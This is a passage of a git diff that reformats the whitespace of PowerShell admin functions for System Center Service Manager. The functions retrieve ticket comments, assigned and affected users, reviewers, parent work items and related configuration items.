(Get-Date).ToUniversalTime(); + IsPrivate = $IsPrivate.ToBool(); + } + } + } + + # Create the actual comment + New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection + } + else + { + Throw "Invalid Service Request Object!" + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 index 98b7d1a6..e49f46db 100644 --- a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -1,77 +1,77 @@ function Get-SCSMIncidentRequestComment { <# - .SYNOPSIS - Function to retrieve the comments from a Incident Request WorkItem - - .DESCRIPTION - Function to retrieve the comments from a Incident Request WorkItem - - .PARAMETER DateTime - Specifies from when (DateTime) the search need to look - - .PARAMETER GUID - Specifies the GUID of the Incident Request - - .EXAMPLE - Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) - - .EXAMPLE - Get-SCSMServiceRequestComment -DateTime "2016/01/01" - - .EXAMPLE - Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad - - .NOTES - Francois-Xavier Cat - www.LazyWinAdmin.com - @lazywinadm + .SYNOPSIS + Function to retrieve the comments from a Incident Request WorkItem + + .DESCRIPTION + Function to retrieve the comments from a Incident Request WorkItem + + .PARAMETER DateTime + Specifies from when (DateTime) the search need to look + + .PARAMETER GUID + Specifies the GUID of the Incident Request + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime "2016/01/01" + + .EXAMPLE + Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad + + .NOTES + Francois-Xavier Cat + www.LazyWinAdmin.com + @lazywinadm #> - - PARAM - ( - [Parameter(ParameterSetName = 'General', - Mandatory = $true)] - $DateTime = $((Get-Date).AddHours(-24)), - - [Parameter(ParameterSetName = 'GUID')] - $GUID - ) - BEGIN - { - $AssignedUserClassRelation = Get-SCSMRelationshipClass -Id 15e577a3-6bf9-6713-4eac-ba5a5b7c4722 - } - PROCESS - { - - IF ($PSBoundParameters['GUID']) - { - $Tickets = Get-SCSMObject -id $GUID - } - ELSE - { - if ($DateTime -is [String]) { $DateTime = Get-Date $DateTime } - $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) - $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incident$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } - } - - $Tickets | - ForEach-Object { - $CurrentTicket = $_ - $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket - $AssignedTo = (Get-SCSMRelatedObject -SMObject $CurrentTicket -Relationship $AssignedUserClassRelation) - Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) - { - # Output the information - [pscustomobject][ordered] @{ - TicketName = $CurrentTicket.Name - TicketClassName = $CurrentTicket.Classname - TicketDisplayName = $CurrentTicket.DisplayName - TicketID = $CurrentTicket.ID - TicketGUID = $CurrentTicket.get_id() - TicketTierQueue = $CurrentTicket.TierQueue.displayname - TicketAssignedTo = $AssignedTo.DisplayName - TicketCreatedDate = $CurrentTicket.CreatedDate + + PARAM + ( + [Parameter(ParameterSetName = 'General', + Mandatory = $true)] + $DateTime = $((Get-Date).AddHours(-24)), + + [Parameter(ParameterSetName = 'GUID')] + $GUID + ) + BEGIN + { + $AssignedUserClassRelation = Get-SCSMRelationshipClass -Id 15e577a3-6bf9-6713-4eac-ba5a5b7c4722 + } + PROCESS + { + + IF ($PSBoundParameters['GUID']) + { + $Tickets = Get-SCSMObject -id $GUID + } + ELSE + { + if ($DateTime -is [String]) { $DateTime = Get-Date $DateTime } + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incident$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + $AssignedTo = (Get-SCSMRelatedObject -SMObject $CurrentTicket -Relationship $AssignedUserClassRelation) + Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) + { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketTierQueue = $CurrentTicket.TierQueue.displayname + TicketAssignedTo = $AssignedTo.DisplayName + TicketCreatedDate = $CurrentTicket.CreatedDate Comment = $Comment.Comment CommentEnteredBy = $Comment.EnteredBy CommentEnteredDate = $Comment.EnteredDate @@ -79,6 +79,6 @@ } } } - + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 index ffc021b0..4d176621 100644 --- a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 +++ b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 @@ -3,16 +3,16 @@ function Get-SCSMObjectPrefix <# .SYNOPSIS Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article - + .DESCRIPTION Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article - + .PARAMETER ClassName Specified the ClassName you want to query - + .EXAMPLE Get-SCSMObjectPrefix - + DependentActivity : DA ManualActivity : MA ParallelActivity : PA @@ -25,19 +25,19 @@ function Get-SCSMObjectPrefix Knowledge : KA Problem : PR Release : RR - + .EXAMPLE Get-SCSMObjectPrefix -ClassName Change - + CR - + .NOTES Francois-Xavier Cat www.lazywinadmin @lazywinadm github.com/lazywinadmin #> - + [OutputType([psobject])] param ( @@ -57,11 +57,11 @@ function Get-SCSMObjectPrefix )] [string]$ClassName ) - + BEGIN { Import-Module -Name Smlets - + $ActivitySettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ActivitySettings") $ChangeSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ChangeSettings") $KnowledgedSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.KnowledgeSettings") diff --git a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 index 47d3d648..566faea4 100644 --- a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 @@ -1,75 +1,75 @@ function Get-SCSMReviewActivityReviewer { - <# - .SYNOPSIS - Function to retrieve the reviewers of a Review Activity - - .DESCRIPTION - Function to retrieve the reviewers of a Review Activity - - .PARAMETER ActivityObject - Specifies the Service Manager Object - - .PARAMETER ActivityName - Specifies the Name of the Ticket (Example RA1000) - - .PARAMETER ActivityGUID - Specifies the GUID of the Activity - - .EXAMPLE - Get-SCSMReviewActivityReviewer -ActivityObject $RA - - .EXAMPLE - Get-SCSMReviewActivityReviewer -ActivityGUID '04ddd0a1-993a-13dc-68a8-c434270df5a2' - - .EXAMPLE - Get-SCSMReviewActivityReviewer -ActivityName 'RA1234' - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - #> - - [CmdletBinding(DefaultParameterSetName = 'Object')] - param - ( - [Parameter(ParameterSetName = 'Object', - Mandatory = $true, - ValueFromPipeline = $true)] - $ActivityObject, - - [Parameter(ParameterSetName = 'Name', - Mandatory = $true)] - $ActivityName, - - [Parameter(ParameterSetName = 'GUID', - Mandatory = $true)] - $ActivityGUID - ) - - BEGIN { Import-Module -Name SMLets -ErrorAction Stop } - PROCESS - { - IF ($PSBoundParameters['ActivityGUID']) - { - $RA = Get-SCSMObject -Id $ActivityGUID - } - IF ($PSBoundParameters['ActivityName']) - { - $RA = Get-SCSMObject (Get-SCSMClass System.WorkItem.Activity.ReviewActivity$) -Filter Id -eq $ActivityName - } - IF ($PSBoundParameters['ActivityObject']) - { - $RA = $ActivityObject - } - - - $RelationshipClassHasReviewer = Get-SCSMRelationshipClass System.ReviewActivityHasReviewer$ - $RelationshipClassReviewerIsUser = Get-SCSMRelationshipClass System.ReviewerIsUser$ - foreach ($Reviewer in (Get-SCSMRelatedObject -SMObject $RA -Relationship $RelationshipClassHasReviewer)) - { - Get-SCSMRelatedObject -SMObject $Reviewer -Relationship $RelationshipClassReviewerIsUser - } - } + <# + .SYNOPSIS + Function to retrieve the reviewers of a Review Activity + + .DESCRIPTION + Function to retrieve the reviewers of a Review Activity + + .PARAMETER ActivityObject + Specifies the Service Manager Object + + .PARAMETER ActivityName + Specifies the Name of the Ticket (Example RA1000) + + .PARAMETER ActivityGUID + Specifies the GUID of the Activity + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityObject $RA + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityGUID '04ddd0a1-993a-13dc-68a8-c434270df5a2' + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityName 'RA1234' + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #> + + [CmdletBinding(DefaultParameterSetName = 'Object')] + param + ( + [Parameter(ParameterSetName = 'Object', + Mandatory = $true, + ValueFromPipeline = $true)] + $ActivityObject, + + [Parameter(ParameterSetName = 'Name', + Mandatory = $true)] + $ActivityName, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $ActivityGUID + ) + + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS + { + IF ($PSBoundParameters['ActivityGUID']) + { + $RA = Get-SCSMObject -Id $ActivityGUID + } + IF ($PSBoundParameters['ActivityName']) + { + $RA = Get-SCSMObject (Get-SCSMClass System.WorkItem.Activity.ReviewActivity$) -Filter Id -eq $ActivityName + } + IF ($PSBoundParameters['ActivityObject']) + { + $RA = $ActivityObject + } + + + $RelationshipClassHasReviewer = Get-SCSMRelationshipClass System.ReviewActivityHasReviewer$ + $RelationshipClassReviewerIsUser = Get-SCSMRelationshipClass System.ReviewerIsUser$ + foreach ($Reviewer in (Get-SCSMRelatedObject -SMObject $RA -Relationship $RelationshipClassHasReviewer)) + { + Get-SCSMRelatedObject -SMObject $Reviewer -Relationship $RelationshipClassReviewerIsUser + } + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 index ad317be7..24480f62 100644 --- a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 +++ b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 @@ -3,41 +3,41 @@ <# .SYNOPSIS Function to retrieve the comments from a Service Request WorkItem - + .DESCRIPTION Function to retrieve the comments from a Service Request WorkItem - + .PARAMETER DateTime Specifies from when (DateTime) the search need to look - + .PARAMETER GUID Specifies the GUID of the Service Request or Incident - + .EXAMPLE Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) - + .EXAMPLE Get-SCSMServiceRequestComment -DateTime "2016/01/01" - + .EXAMPLE Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad - + .NOTES Francois-Xavier Cat www.LazyWinAdmin.com @lazywinadm #> - + PARAM ( [Parameter(ParameterSetName = 'General', Mandatory = $true)] $DateTime = $((Get-Date).AddHours(-24)), - + [Parameter(ParameterSetName = 'GUID')] $GUID ) - + IF ($PSBoundParameters['GUID']) { $Tickets = Get-SCSMObject -id $GUID @@ -48,7 +48,7 @@ $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.servicerequest$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } } - + $Tickets | ForEach-Object { $CurrentTicket = $_ diff --git a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 index 50d2e048..7b889de8 100644 --- a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 +++ b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 @@ -1,42 +1,42 @@ Function Get-SCSMUserManager { - Param ( - $input_affectedUser_id - ) - - ## Return Variables - $managerOfAffectedUser_obj = $null - - ## MAIN - $affectedUser_obj = get-scsmobject -id $input_affectedUser_id - $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' - $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | where{ $_.relationshipId -eq $userManagesUser_relclass_id } - - ## Check if Manager User Exists and that the relationship is current. - ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new - ## relationships - - If ($managerOfAffectedUser_relobjs -ne $null) - { - ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) - { - If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) - { - #The relationship no longer exists. Returning nothing - # which will effectively keep the managerOfAffectedUser_obj the same as before. - } - Else - { - #The relationship exists, setting managerOfAffectedUser_relExists to true. - $managerOfAffectedUser_id = $managerofaffecteduser_relobj.SourceObject.Id.Guid - $managerOfAffectedUser_obj = get-scsmobject -id $managerofaffecteduser_id - } - } - } - Else - { - #No Affected User Exists - $managerOfAffectedUser_obj = $null - } - $managerOfAffectedUser_obj + Param ( + $input_affectedUser_id + ) + + ## Return Variables + $managerOfAffectedUser_obj = $null + + ## MAIN + $affectedUser_obj = get-scsmobject -id $input_affectedUser_id + $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' + $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | where{ $_.relationshipId -eq $userManagesUser_relclass_id } + + ## Check if Manager User Exists and that the relationship is current. + ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new + ## relationships + + If ($managerOfAffectedUser_relobjs -ne $null) + { + ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) + { + If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) + { + #The relationship no longer exists. Returning nothing + # which will effectively keep the managerOfAffectedUser_obj the same as before. + } + Else + { + #The relationship exists, setting managerOfAffectedUser_relExists to true. + $managerOfAffectedUser_id = $managerofaffecteduser_relobj.SourceObject.Id.Guid + $managerOfAffectedUser_obj = get-scsmobject -id $managerofaffecteduser_id + } + } + } + Else + { + #No Affected User Exists + $managerOfAffectedUser_obj = $null + } + $managerOfAffectedUser_obj } \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 index 868810e0..2d11c381 100644 --- a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Function to retrieve the affected configuration item of a System Center Service Manager Work Item - + .DESCRIPTION Function to retrieve the affected configuration item of a System Center Service Manager Work Item - + .PARAMETER GUID Specifies the GUID of the WorkItem - + .EXAMPLE PS C:\> Get-SCSMWorkItemAffectedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" - + .NOTES Francois-Xavier.Cat @lazywinadm @@ -27,7 +27,7 @@ { # Find the Ticket Object $WorkItemObject = Get-SCSMObject -id $GUID - + # Find the Affected Configuration Items Get-SCSMRelationshipObject -BySource $WorkItemObject | Where-Object { $_.relationshipid -eq 'b73a6094-c64c-b0ff-9706-1822df5c2e82' } diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index 7a384caa..0626f7d6 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -3,31 +3,31 @@ <# .SYNOPSIS Function to retrieve the Affected User of a Work Item - + .DESCRIPTION Function to retrieve the Affected User of a Work Item - + .PARAMETER SMObject Specifies the SMObject(s) on which the affected need to be retrieve. - + .PARAMETER Guid Specifies the GUID of the SMObject on which the affected need to be retrieve. - + .EXAMPLE Get-SCSMWorkItemAffectedUser -SMObject $SR,$IR - + .EXAMPLE $SR,$IR | Get-SCSMWorkItemAffectedUser - + .EXAMPLE Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com #> - + [CmdletBinding(DefaultParameterSetName = 'GUID')] param ( @@ -35,16 +35,16 @@ Mandatory = $true, ValueFromPipeline = $true)] $SMObject, - + [Parameter(ParameterSetName = 'GUID', Mandatory = $true)] $Guid ) - + BEGIN { Import-Module -Name SMLets -ErrorAction Stop - + # AffectedUser RelationshipClass $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser @@ -62,7 +62,7 @@ @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * } } - + IF ($PSBoundParameters['SMobject']) { foreach ($Item in $SMObject) diff --git a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 index 8f35a78f..33954d8b 100644 --- a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 @@ -3,31 +3,31 @@ <# .SYNOPSIS Function to retrieve the Assigned User of a Work Item - + .DESCRIPTION Function to retrieve the Assigned User of a Work Item - + .PARAMETER SMObject Specifies the SMObject(s) on which the Assigned need to be retrieve. - + .PARAMETER Guid Specifies the GUID of the SMObject on which the Assigned need to be retrieve. - + .EXAMPLE Get-SCSMWorkItemAssignedUser -SMObject $SR,IR - + .EXAMPLE $SR,IR | Get-SCSMWorkItemAssignedUser - + .EXAMPLE Get-SCSMWorkItemAssignedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com #> - + [CmdletBinding(DefaultParameterSetName = 'GUID')] param ( @@ -35,16 +35,16 @@ Mandatory = $true, ValueFromPipeline = $true)] $SMObject, - + [Parameter(ParameterSetName = 'GUID', Mandatory = $true)] $Guid ) - + BEGIN { Import-Module -Name SMLets -ErrorAction Stop - + # AssignedUser RelationshipClass $RelationshipClass_AssignedUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemAssignedToUser$ } @@ -61,7 +61,7 @@ @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * } } - + IF ($PSBoundParameters['SMobject']) { foreach ($Item in $SMObject) diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 index 81a6b49c..8b33a9e6 100644 --- a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 @@ -6,7 +6,7 @@ ) ### Variables to Return $childWIs_obj = @() - + ### MAIN $inputPWI_obj = get-scsmobject -id $inputPWI_guid $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' @@ -16,7 +16,7 @@ { if ($childWI_relobj.IsDeleted -ne 'false') { - + $childWI_id = $childWI_relobj.TargetObject.id.guid $childWI_obj = get-scsmobject -id $childWI_id #filter for DynamicReviewerActivity diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 index 0399ad74..c1ba69ee 100644 --- a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -3,31 +3,31 @@ <# .SYNOPSIS Function to retrieve the Created By User of a Work Item - + .DESCRIPTION Function to retrieve the Created By User of a Work Item - + .PARAMETER SMObject Specifies the SMObject(s) on which the Created By need to be retrieve. - + .PARAMETER Guid Specifies the GUID of the SMObject on which the Created By need to be retrieve. - + .EXAMPLE Get-SCSMWorkItemCreatedByUser -SMObject $SR,IR - + .EXAMPLE $SR,IR | Get-SCSMWorkItemCreatedByUser - + .EXAMPLE Get-SCSMWorkItemCreatedByUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com #> - + [CmdletBinding(DefaultParameterSetName = 'GUID')] param ( @@ -35,20 +35,20 @@ Mandatory = $true, ValueFromPipeline = $true)] $SMObject, - + [Parameter(ParameterSetName = 'GUID', Mandatory = $true)] $Guid ) - + BEGIN { Import-Module -Name SMLets -ErrorAction Stop - + # CreatedByUser RelationshipClass $RelationshipClass_CreatedByUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemCreatedByUser - - + + } PROCESS { @@ -63,7 +63,7 @@ @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * } } - + IF ($PSBoundParameters['SMobject']) { foreach ($Item in $SMObject) diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index 8dc28204..f4b2be4a 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -3,31 +3,31 @@ <# .DESCRIPTION Function to retrieve the parent of a System Center Service Manager Work Item - + .SYNOPSIS Function to retrieve the parent of a System Center Service Manager Work Item - + .PARAMETER WorkItemGUI Specified the GUID of the Work Item - + .PARAMETER WorkItemObject Specified the Work Item Object - + .EXAMPLE $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' $WorkItemGUID = $RunbookActivity.get_id() - + Get-SCSMWorkItemParent -WorkItemGUID $WorkItemGUID - + .EXAMPLE $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity - + .NOTES Francois-Xavier.Cat @lazywinadm www.lazywinadmin.com - + 1.0 Function based on the work from Prosum and Cireson consultants #> [CmdletBinding()] @@ -35,7 +35,7 @@ [Parameter(ParameterSetName = 'GUID', Mandatory)] [Alias('ID')] $WorkItemGUID, - + [Parameter(ParameterSetName = 'Object', Mandatory)] $WorkItemObject ) @@ -71,22 +71,22 @@ Write-Verbose -Message "[PROCESS] Retrieving WorkItem with SM Object" $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() } - + # Retrieve Parent Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name)" Write-Verbose -Message "[PROCESS] Retrieving WorkItem Parent" $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } $ParentObject = $ParentRelatedObject.SourceObject - + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name) - Parent: $($ParentObject.name)" - - + + If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') { Write-Verbose -Message "[PROCESS] This is the top level parent" Write-Output $ParentObject - + # Could do the following to retrieve all the properties # Get-SCSMObject $ParentRelatedObject.SourceObject.id.Guid } diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 index 0cf75a8d..584855db 100644 --- a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Function to retrieve the related configuration item of a System Center Service Manager Work Item - + .DESCRIPTION Function to retrieve the related configuration item of a System Center Service Manager Work Item - + .PARAMETER GUID Specifies the GUID of the WorkItem - + .EXAMPLE PS C:\> Get-SCSMWorkItemRelatedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" - + .NOTES Francois-Xavier.Cat @lazywinadm @@ -27,7 +27,7 @@ { # Find the Ticket Object $WorkItemObject = Get-SCSMObject -id $GUID - + # Find the Related Configuration Items Get-SCSMRelationshipObject -BySource $WorkItemObject | Where-Object { $_.relationshipid -eq 'd96c8b59-8554-6e77-0aa7-f51448868b43' } diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 index e0668c6c..2b0721fe 100644 --- a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 @@ -3,7 +3,7 @@ <# .SYNOPSIS Function to retrieve the RequestOffering used to create a specific work item. - + .DESCRIPTION Function to retrieve the RequestOffering used to create a specific work item. It will output the full object and add the work item Name and GUID to the output @@ -11,20 +11,20 @@ .EXAMPLE $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" Get-SCSMWorkItemRequestOffering -SMObject $SR - + .EXAMPLE Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" | Get-SCSMWorkItemRequestOffering - + .EXAMPLE $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" $IR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.IncidentRequest$) -Filter "ID -eq 'IR99000'" Get-SCSMWorkItemRequestOffering -SMObject $SR,IR - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com - + #> PARAM ( [Parameter(ValueFromPipeline)] diff --git a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 index a975b4f8..c546a1cf 100644 --- a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 +++ b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 @@ -3,7 +3,7 @@ <# .NOTES Initial version from http://itblog.no/4462 - + Output PSOBject instead of array #> [CmdletBinding()] @@ -39,7 +39,7 @@ $Props = @{ Question = $input.question Answer = $([string]::Join(", ", $ListArray)) - + } New-Object -TypeName PSObject -Property $Props $ListArray = $null @@ -51,11 +51,11 @@ if ($input.type -eq "enum") { $ListGuid = Get-SCSMEnumeration -Id $input.Answer - + $Props = @{ Question = $input.question Answer = $ListGuid.displayname - + } New-Object -TypeName PSObject -Property $Props } @@ -65,7 +65,7 @@ Question = $input.question Answer = $input.answer } - + New-Object -TypeName PSObject -Property $Props } } diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index dad89fc8..1817b62e 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Function to retrieve all the comment of a Incident Request - + .DESCRIPTION Function to retrieve all the comment of a Incident Request - + .PARAMETER Incident Specifies the Incident Request Object. - + .EXAMPLE PS C:\> Get-SCSMIRComment -Incident (get-scsmincident -ID 